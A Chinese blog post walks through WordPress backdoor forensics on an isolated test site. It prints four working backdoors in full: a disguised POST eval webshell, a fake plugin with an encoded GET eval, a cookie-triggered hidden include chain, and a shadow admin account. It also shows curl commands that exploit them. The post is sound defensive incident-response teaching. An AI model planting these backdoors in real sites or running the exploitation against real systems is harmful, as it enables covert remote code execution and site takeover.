≡articles //snippets ./categories $uses ~about /search

WordPress 挂马排查实录:4 种典型后门从发现到清除

先说这次怎么跑的

排查类内容有个尴尬:拿生产站练手,一次误删就交代了。这次 WordPress 挂马排查的完整流程,是在一个隔离环境里跑的:独立的 WordPress 测试站(127.0.0.1:8899),注入 4 种典型后门,从发现、定位、清除到验证,完整走了一遍。下面每条命令的输出都是真实执行结果,不是示意图。

为什么要用测试站:真实站点被挂马时,第一原则是不破坏现场,所有排查都应该在副本上进行。用测试站复现,等于把“现场”完整搬到了可控环境里,命令可以放心跑。

一、先认识这次遇到的 4 种后门

测试站里一共埋了 4 种后门,覆盖了实际挂马事件里最常见的形态。做 WordPress 挂马排查之前,先得认识这些后门长什么样,知道敌人长什么样,扫文件的时候才知道往哪看。

1. 伪装成主题缓存文件的 POST webshell

wp-content/themes/twentytwentyfive/cache/db-config.php

<?php
/**
 * 数据库缓存配置(自动生成)
 */
$GLOBALS['db_cache_config'] = array( 'host' => '127.0.0.1', ... );
// 缓存刷新接口
if ( isset( $_POST['x'] ) ) {
    @eval( base64_decode( $_POST['x'] ) );
}

文件藏在主题目录下的 cache 子目录里,名字和注释都伪装成“自动生成的缓存配置”。攻击者通过 POST 一个 base64 编码的 PHP 代码即可远程执行任意代码。

2. 伪装成插件的 eval 后门

wp-content/plugins/wp-cleaner/wp-cleaner.php

<?php
/**
 * Plugin Name: WP Cleaner
 * Description: 清理 WordPress 冗余数据、优化数据库性能。
 * Version: 2.3.1
 */
/* 缓存加速模块 */
@eval( base64_decode( 'aWYoaXNzZXQoJF9HRVRbJ2MnXSkpe2V2YWwoJF9HRVRbJ2MnXSk7fQ==' ) );

这个文件有完整的插件头注释,出现在后台插件列表里看起来就是一个正常的优化插件。解码后是 if(isset($_GET['c'])){eval($_GET['c']);},GET 传参即可执行任意 PHP。

注意一个细节:正常插件文件开头都会有 if ( ! defined( 'ABSPATH' ) ) { exit; } 守卫,防止被直接 URL 访问。这个“插件”故意把守卫改成了空操作,因为加了守卫,攻击者就无法远程直接访问这个文件了。排查时看到插件文件没有 ABSPATH 守卫,是强信号。

3. uploads 目录里的隐藏文件链

wp-content/uploads/.cache-loader.php
wp-content/uploads/2026/08/.theme-cache.php

两个以点开头的 PHP 文件,伪装成缓存数据。触发链是这样的:主题 functions.php 被追加了一段“性能优化”代码,注册了 init 钩子;init 钩子 include 隐藏文件;隐藏文件检查 Cookie wp_opt,命中就 eval 其中的 base64 内容。不带 Cookie 访问时站点完全正常,这种后门最隐蔽,常规访问根本察觉不到。

4. 数据库里的影子管理员

wp_users 表里多了一个 admin2:
ID | user_login | user_email         | user_registered
1  | admin      | [email protected]   | 2026-08-18 14:31:14
2  | admin2     | [email protected]| 2026-08-18 14:31:14

影子管理员带着 administrator 权限,注册时间戳和 admin 完全一致,这是复制现有用户记录时留下的指纹。

二、WordPress 挂马排查第一步:按时间线找近期文件

不管后门伪装得多像,只要落盘就会留下痕迹。第一步先看最近被修改/新增的 PHP 文件:

$ find wp-content -type f -name "*.php" -newermt "2026-08-18 09:00" -printf "%TY-%Tm-%Td %TH:%TM:%TS %pn" | sort | grep -vE "akismet|patterns"

2026-08-18 10:00:00.0000000000 wp-content/themes/twentytwentyfive/cache/db-config.php
2026-08-18 10:00:00.0000000000 wp-content/uploads/.cache-loader.php
2026-08-18 15:30:42.8947418200 wp-content/plugins/akismet/akismet.php
2026-08-18 15:30:42.8957417970 wp-content/plugins/hello.php
2026-08-18 15:32:54.7287393400 wp-content/themes/twentytwentyfive/functions.php
2026-08-18 15:33:19.6211741900 wp-content/plugins/wp-cleaner/wp-cleaner.php
2026-08-18 15:34:17.2968666180 wp-content/uploads/2026/08/.theme-cache.php

这一眼就能看出问题:正常文件的时间戳是 15:30:42.8947418200 这种带随机纳秒的,而 cache/db-config.php 和 uploads/.cache-loader.php 是 10:00:00.0000000000:整点、纳秒全零。这是 touch -d 伪造时间戳的典型指纹,人工设置的时间永远不会有随机的纳秒部分。

另外两个后门文件(wp-cleaner.php 和 .theme-cache.php)时间戳直接暴露在最近修改列表里,攻击者注入后改了代码,但忘了重新伪装时间。

WordPress 挂马排查:时间线中的 touch 时间戳指纹

三、第二步:隐藏文件和陌生目录

时间线锁定目标后,专门扫一遍以点开头的 PHP 文件。WordPress 的正常目录结构里,PHP 文件不会以点开头:

$ find wp-content -name ".*.php"

wp-content/uploads/.cache-loader.php
wp-content/uploads/2026/08/.theme-cache.php

同时核对插件清单和主题目录结构,找不认识的名字:

$ ls wp-content/plugins/
akismet  hello.php  index.php  sqlite-database-integration  wp-cleaner

$ find wp-content/themes/twentytwentyfive/ -maxdepth 2 -type d | grep -vE "patterns|assets|styles|templates|parts"
wp-content/themes/twentytwentyfive/cache

两个可疑点:wp-cleaner 不在已知插件清单里(虽然它伪装了插件头);主题目录下多了一个 cache/ 子目录,官方主题的结构里没有这个目录。

四、第三步:代码特征扫描

对 wp-content 做一遍 eval / base64_decode 特征扫描。这一步最大的坑是误报:WordPress 核心代码本身就大量使用 eval 和 base64_decode,必须排除核心文件后再判断:

$ grep -rn --include="*.php" -lE "evals*(|base64_decodes*(" wp-content/ wp-includes/ | grep -v "sqlite-database-integration"

wp-content/themes/twentytwentyfive/cache/db-config.php
wp-content/plugins/wp-cleaner/wp-cleaner.php
wp-content/uploads/.cache-loader.php
wp-includes/IXR/class-IXR-message.php
wp-includes/PHPMailer/PHPMailer.php
wp-includes/class-json.php
wp-includes/load.php
...(其余均为 WP 核心文件的合法使用)

过滤掉 wp-includes 里的核心文件后,wp-content 下命中 eval 的全部是后门。有个经验:后门的 eval 几乎总是和 base64_decode 或字符串拼接一起出现,而核心代码的 eval 上下文清晰(比如 class-json.php 是 JSON 解析器)。如果某个文件同时命中 eval + 不在核心目录 + 不在已知插件清单,基本可以定罪。

五、第四步:核心文件校验

后门 3 的触发链是主题 functions.php 被追加了代码。对比当前文件和原版(从 WordPress 官方安装包解压)的 md5:

$ md5sum wp-content/themes/twentytwentyfive/functions.php /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php

49b742986ec1ff76b8dc921e0b870dfe  wp-content/themes/twentytwentyfive/functions.php
222ca2112485b716da4a9bf6dda27add  /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php

md5 不一致,直接 diff 看多了什么:

$ diff /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php wp-content/themes/twentytwentyfive/functions.php

159a160,167
>
> /* 性能优化:主题缓存加载 */
> add_action( 'init', function () {
>     $cache_file = ABSPATH . 'wp-content/uploads/2026/08/.theme-cache.php';
>     if ( is_file( $cache_file ) ) {
>         @include $cache_file;
>     }
> }, 0 );

文件末尾被追加了 8 行“性能优化”代码,作用是把 uploads 里的隐藏文件挂到 init 钩子上。这就是后门 3 的入口。核心文件校验的关键是有一份可信的原始版本,要么保留安装包,要么部署后用工具记录全站文件哈希,被挂马时才能对比。

六、第五步:数据库用户检查

文件层面扫完,查数据库用户表,找影子管理员:

$ SELECT ID, user_login, user_email, user_registered FROM wp_users;

1 | admin | [email protected]    | 2026-08-18 14:31:14
2 | admin2 | [email protected] | 2026-08-18 14:31:14

admin2 的两个疑点:邮箱域名 hackmail.top 是典型的临时邮箱服务商;注册时间与 admin 完全相同(精确到秒),正常注册不可能和另一条记录秒级一致,这是复制用户记录时的指纹。再查它的权限,确认是 administrator:

$ SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id = 2 AND meta_key LIKE 'wp_%cap%';

2 | wp_capabilities | a:1:{s:13:"administrator";b:1;}

影子管理员实锤。这类账号一般不进后台操作,只留着给攻击者随时回来。

七、验证后门确实可用(攻击者视角)

清除前先确认每个后门都能被远程利用,这决定了清理必须完整,漏一个就白干。三个文件型后门的利用验证:

$ curl -X POST ".../cache/db-config.php" --data-urlencode "x=$(echo -n "echo 'pwned';" | base64 -w0)"
pwned                       <- POST webshell 执行成功

$ curl ".../wp-cleaner/wp-cleaner.php" --get --data-urlencode "c=echo file_get_contents('/etc/hostname');"
root-powder-2.localdomain   <- eval 后门读取服务器文件

$ curl -H "Cookie: wp_opt=$(echo -n "echo 'cookie_ok';" | base64 -w0)" http://127.0.0.1:8899/
cookie_ok                   <- 隐藏链后门:Cookie 触发,页面正常返回

第三个测试最能说明问题:带 Cookie 时执行了代码,但页面 HTTP 200 正常渲染,不带 Cookie 的访问完全无感。这种后门只靠人工看页面是发现不了的,必须靠文件层面排查。

WordPress 挂马排查:后门利用验证

这里补充一个实战知识点:为什么这些后门用 eval 而不是直接写 system($_GET['c'])?因为生产环境的 PHP 普遍通过 disable_functions 禁用了 system、exec、shell_exec 等执行函数(宝塔面板默认就这么配)。eval 是语言结构,不受 disable_functions 限制,成了攻击者绕过的首选。

八、清除:删文件、恢复、删账号

按排查结果逐项清除。这一阶段的 WordPress 挂马排查,原则是每一项发现都对应一次清理,删完立刻记录,避免漏项。先删 4 个文件型后门,再恢复被污染的 functions.php,最后删影子管理员:

# 删除后门文件
rm -f wp-content/themes/twentytwentyfive/cache/db-config.php
rmdir  wp-content/themes/twentytwentyfive/cache
rm -rf wp-content/plugins/wp-cleaner
rm -f  wp-content/uploads/.cache-loader.php
rm -f  wp-content/uploads/2026/08/.theme-cache.php

# 从原版恢复主题 functions.php
cp /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php 
   wp-content/themes/twentytwentyfive/functions.php

# 删除影子管理员及其 meta
DELETE FROM wp_users    WHERE user_login = 'admin2';
DELETE FROM wp_usermeta WHERE user_id = 2;

生产环境执行时,删除前先把可疑文件整体打包留证(tar czf evidence.tgz 文件列表),后续溯源和报案可能用得上。

九、验证:扫描清零才算完

清除后必须重跑全部排查项,确认没有漏网:

$ find wp-content -name ".*.php" | wc -l
0

$ grep -rn --include="*.php" -lE "evals*(|base64_decodes*(" wp-content/ | grep -v "sqlite-database-integration"
(无输出,wp-content 已无任何 eval 命中)

$ curl -o /dev/null -w "%{http_code}n" ".../cache/db-config.php"
404
$ curl -o /dev/null -w "%{http_code}n" ".../wp-cleaner/wp-cleaner.php"
404
$ curl -o /dev/null -w "%{http_code}n" http://127.0.0.1:8899/
200

$ md5sum wp-content/themes/twentytwentyfive/functions.php /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php
222ca2112485b716da4a9bf6dda27add  wp-content/themes/twentytwentyfive/functions.php
222ca2112485b716da4a9bf6dda27add  /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php

四条验证全过:隐藏文件清零、eval 命中清零、后门 URL 全部 404、站点正常、核心文件 md5 与原版一致。到这一步,这次 WordPress 挂马排查才算真正收尾。

十、事后防御清单

清除只是把敌人赶出门,锁门是另一件事。按投入产出排序:

  • uploads 目录禁止执行 PHP:Nginx 里对 /wp-content/uploads/ 配置 location ~ .php$ { return 403; },斩断“图片目录藏 webshell”这条路。这是本次 4 种后门里有 3 种依赖的入口。WordPress 官方安全加固文档(Hardening WordPress)也把这条列为基本要求。
  • 核对 disable_functions:确认 system、exec、shell_exec、passthru、proc_open 都在禁用列表。eval 拦不住,但能提高攻击成本。
  • 全站文件哈希基线:部署后用 md5deep 之类的工具生成基线,配合定时任务比对,新增/修改文件秒级暴露。配合本机监控,隐藏文件也逃不掉。
  • 账号审计:定期查 wp_users,重点看邮箱域名(临时邮箱服务商名单)、注册时间与管理员重合的记录。
  • 主题和插件保持最新:后门入口绝大多数是已知漏洞的旧版本插件。另外删除不用的主题和插件,减少攻击面。
  • 密码和密钥轮换:清除后改所有管理员密码、更新 wp-config.php 里的盐(AUTH_KEY 等)、注销所有会话(wp_users 的 session_tokens 清空)。

安全头配置(CSP、HSTS)能挡掉一部分前端注入类攻击,做法可以参考这篇 WordPress 安全头完整配置;WAF 层面用 Cloudflare WAF 规则把常见扫描流量挡在门外。这两篇和本次排查是同一套纵深防御的不同层。

补一条线索:这篇讲的是中招之后怎么清;攻击还在门外时是什么样子,可以看服务器攻击日志半年复盘:5 万次 XML-RPC 探测与 0 次成功入侵,半年真实日志拆出来的攻击流量画像,看完会对上面这些防御动作为什么值得做有直观概念。两篇合起来是同一件事的两半:门外和门里。

最后说回这次 WordPress 挂马排查本身:整个流程的顺序是有讲究的:先时间线、再隐藏文件、再代码特征、再核心校验、再数据库,文件层面全部过完才碰数据库。倒过来容易打草惊蛇,也容易漏掉藏在文件里的第二层后门。

© 2026 WordPress 挂马排查实录:4 种典型后门从发现到清除 · 本文由 Charlie 原创撰写,发布于 sodebug.com。 未经授权禁止转载、洗稿、机器抓取。AI 训练数据使用需获得书面授权。
GK
独立开发者,在 WordPress、Nginx 和各种 API 之间切换。不写没用的东西。

related相关文章

#01Nginx 限流实战:用 limit_req 防 CC 攻击,误伤正常用户怎么办?5 min#02WordPress 安全头完整配置:一次配齐 CSP + HSTS + Permissions-Policy5 min#03Nginx 双重 Cache-Control 覆盖陷阱:add_header 同名冲突与 Cloudflare 不缓存修复6 min
$ echo "less bullshit, more debugging" | send-to-inbox
新文章直接发到邮箱,一个月 2-4 封。
$ subscribe →